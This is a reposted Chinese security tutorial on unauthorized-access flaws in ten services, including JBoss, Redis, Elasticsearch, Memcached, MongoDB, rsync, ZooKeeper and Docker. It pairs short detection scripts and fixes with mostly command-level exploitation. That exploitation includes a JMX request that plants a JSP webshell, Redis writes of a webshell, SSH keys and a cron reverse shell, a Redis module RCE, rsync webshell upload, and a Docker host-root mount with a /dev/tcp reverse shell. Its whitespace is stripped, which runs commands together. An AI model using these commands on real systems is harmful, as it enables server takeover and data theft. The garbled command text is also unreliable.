本文转载自微信公众号《绕过》,作者绕过。转载请联系Bypass公众号。本文详细介绍了常见的未授权访问漏洞及其利用方式。具体漏洞列表如下:Jboss未授权访问Jenkins未授权访问ldap未授权访问Redis未授权访问elasticsearch未授权访问MenCache未授权访问Mongodb未授权访问Rsync未授权访问访问Zookeeper未授权访问Docker未授权访问1.Jboss未授权访问漏洞原因:在低版本中,Jbossweb控制台(http://127.0.0.1:8080/jmx-console)默认无需用户名和密码即可访问。漏洞利用:1.写一句木马:http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August。war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22)).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True2,写入1.txt文件http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=helloworld!3,访问1.txt文件http://127.0.0.1:8080/August/1.txt检测工具:jexboss,一个用Python编写的Jboss漏洞检测利用工具,可以检测并利用web-console、jmx-console、JMXInvokerServlet这三个漏洞,并获得shell。修复建议:关闭jmx-console和web-console,提高安全性。2、Jenkins越权访问漏洞原因:没有设置密码,导致越权访问。漏洞测试:通过url直接访问http://:8080/managehttp://:8080/script修复建议:设置强密码。3、ldap越权访问漏洞产生原因:ldap没有通过密码认证,导致越权访问。检测脚本:#!/usr/bin/envpython#_*_coding:utf-8_*_fromldap3importConnection,Server,ALLdefldap_anonymous(ip):try:server=Server(ip,get_info=ALL,connect_timeout=1)conn=Connection(server,auto_bind=True)print"[+]ldaploginforanonymous"conn.closedexcept:#passprint'[-]checkingforldapanonymousfail'利用工具:使用LdapBrowser直接连接获取敏感信息。修复建议:增加强密码验证。4、Redis未授权访问漏洞利用:姿势一:绝对路径写webshel??l我们可以将dir设置为目录a,dbfilename设置为文件名b,然后执行save或者bgsave,就可以写一个路径为a/任意文件b:configsetdir/home/wwwroot/default/configsetdbfilenameredis.phpsetwebshel??l""保存姿势二:公私钥认证获取root权限一、ssh免密码配置ssh-keygen-trsa-P''#生成公钥/私钥对cd/root/.ssh/(echo-e"\n\n";catid_rsa.pub;echo-e"\n\n")>foo.txt#写入publickey输入foo.txt文件连接Redis并写入文件2.连接Redis写入文件catfoo.txt|./redis-cli-h192.168.125.140-xsetcrackit./redis-cli-h192.168.125.140configsetdir/root/.ssh/configgetdirconfigsetdbfilename"authorized_keys"save使用私钥成功登录redis服务器姿势三:使用contrab计划任务反弹shellconfigsetdir/var/spool/cron/crontabs/configsetdbfilenamerootflushallsettest"*****/bin/bash-i>&/dev/tcp/10.1.1.211:12340>&1"save姿势四:主从复制RCE在Reids4.x之后,Redis增加了一个新的模块功能。通过外部扩展,可以在Redis中实现一个新的Redis命令。通过编写C语言编译加载恶意.so文件,达到代码执行的目的。通过脚本一键自动getshell:1.生成恶意.so文件,下载RedisModules-ExecuteCommand,用make编译。gitclonehttps://github.com/n0b0dyCN/RedisModules-ExecuteCommandcdRedisModules-ExecuteCommand/make2,攻击执行:pythonredis-rce.py-rtargetip-ptargetport-Llocalip-fmalicious.sogitclonehttps://github.com/Ridter/redis-rce.gitcdredis-rce/cp../RedisModules-ExecuteCommand/src/module.so./pipinstall-rrequirements.txtpythonredis-rce.py-r192.168.28.152-p6379-L192.168.28.137-fmodule.so5、Elasticsearch未授权访问漏洞原因:Elasticsearch默认端口为9200,攻击者可以直接访问http://ip:port。检测脚本:#!/usr/bin/envpython#_*_coding:utf-8_*_importrequestsdefElasticsearch_check(ip,port=9200,timeout=5):try: url="http://"+ip+":"+str(port)+"/_cat" response=requests.get(url)except: passif"/_cat/master"inresponse.content: print'[+]ElasticsearchUnauthorized:'+ip+':'+str(port)漏洞测试:http://localhost:9200/_cat/indiceshttp://localhost:9200/_river/_search查看数据库敏感信息http://localhost:9200/_nodes查看节点安装head插件等数据:http://localhost:9200/_plugin/head/web管理界面修复建议:1、限制IP访问,绑定固定IP2,在config/elasticsearch.yml中设置9200端口认证:http.basic.enabledtrue#开关,打开会接管所有HTTP连接 http.basic.user"admin"#account http.basic.password"admin_pw"#password http.basic.ipwhitelist["localhost","127.0.0.1"]6.MenCache未授权访问漏洞成因:Memcached分布式缓存系统,默认端口11211无需密码即可访问,黑客直接访问即可获取数据库中的所有信息,造成信息泄露严重。检测脚本:#!/usr/bin/envpython#_*_coding:utf-8_*_defMemcache_check(ip,port=11211,timeout=5):try:socket.setdefaulttimeout(timeout)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((ip,int(port)))s.send("stats\r\n")result=s.recv(1024)if"STATversion"inresult:print'[+]MemcacheUnauthorized:'+ip+':'+str(port)exceptException,e:pass漏洞验证:#无需用户名和密码即可直接连接memcache服务的11211端口。telnetx.x.x.x11211stats//查看memcache服务状态statsitems//查看所有项statscachedump320//获取缓存keyget:state:264861539228401373:261588//通过key读取对应值获取实际缓存内容,造成敏感信息泄露修复建议:bindingip地址为127.0.0.1,或者通过防火墙限制访问。7、Mongodb未授权访问漏洞产生原因:MongoDB默认没有权限验证。登录的用户无需密码即可通过默认端口对数据库进行任意操作(增、删、改高危操作),并可远程访问数据库。检测脚本:#!/usr/bin/envpython#_*_coding:utf-8_*_defmongodb(ip,port):try:client=MongoClient(ip,port)db=client.localflag=db.collection_names()ifflag:print"[+]Mongodbloginforanonymous"exceptException,e:pass修复建议:增加用户密码权限验证,设置本地监控或访问控制。8、rsync越权访问漏洞产生原因:未配置账号密码认证,导致越权访问。漏洞测试:列出整个同步目录或指定目录:rsync10.0.0.12::rsync10.0.0.12::www/下载文件或目录到本地:rsync–avz10.0.0.12::WWW//var/tmprsync–avz10.0.0.12::www//var/tmp上传本地文件到服务器:rsync-avzwebshel??l10.0.0.12::WWW/修复建议:增加用户密码认证,设置访问ip限制。9、Zookeeper未授权访问漏洞原因:ZooKeeper默认开启2181端口。在没有任何访问控制的情况下,攻击者可以通过执行envi命令获取系统的大量敏感信息,包括系统名称和Java环境。漏洞测试:echoenvi|nc192.168.15.742181修复建议:增加用户名密码认证,设置ip访问控制。10、Docker未授权访问漏洞产生原因:dockerremoteapi可以执行docker命令,dockerdaemon进程监听在0.0.0.0,可以直接调用API操作docker。sudodockerd-Hunix:///var/run/docker.sock-H0.0.0.0:2375漏洞利用:通过dockerdaemonapi执行docker命令。#列出容器信息,效果与dockerps一致。curlhttp://:2375/containers/json#启动容器docker-Htcp://:2375ps-a1,运行一个新容器,设置挂载点为服务器根目录并挂载到/mnt目录下。sudodocker-Htcp://10.1.1.211:2375run-it-v/:/mntnginx:latest/bin/bash2.在容器中执行命令,将反弹shell脚本写入/var/spool/cron/rootecho'*****/bin/bash-i>&/dev/tcp/10.1.1.214/123450>&1'>>/mnt/var/spool/cron/crontabs/root3,本地监控端口,获取对方主机的shell。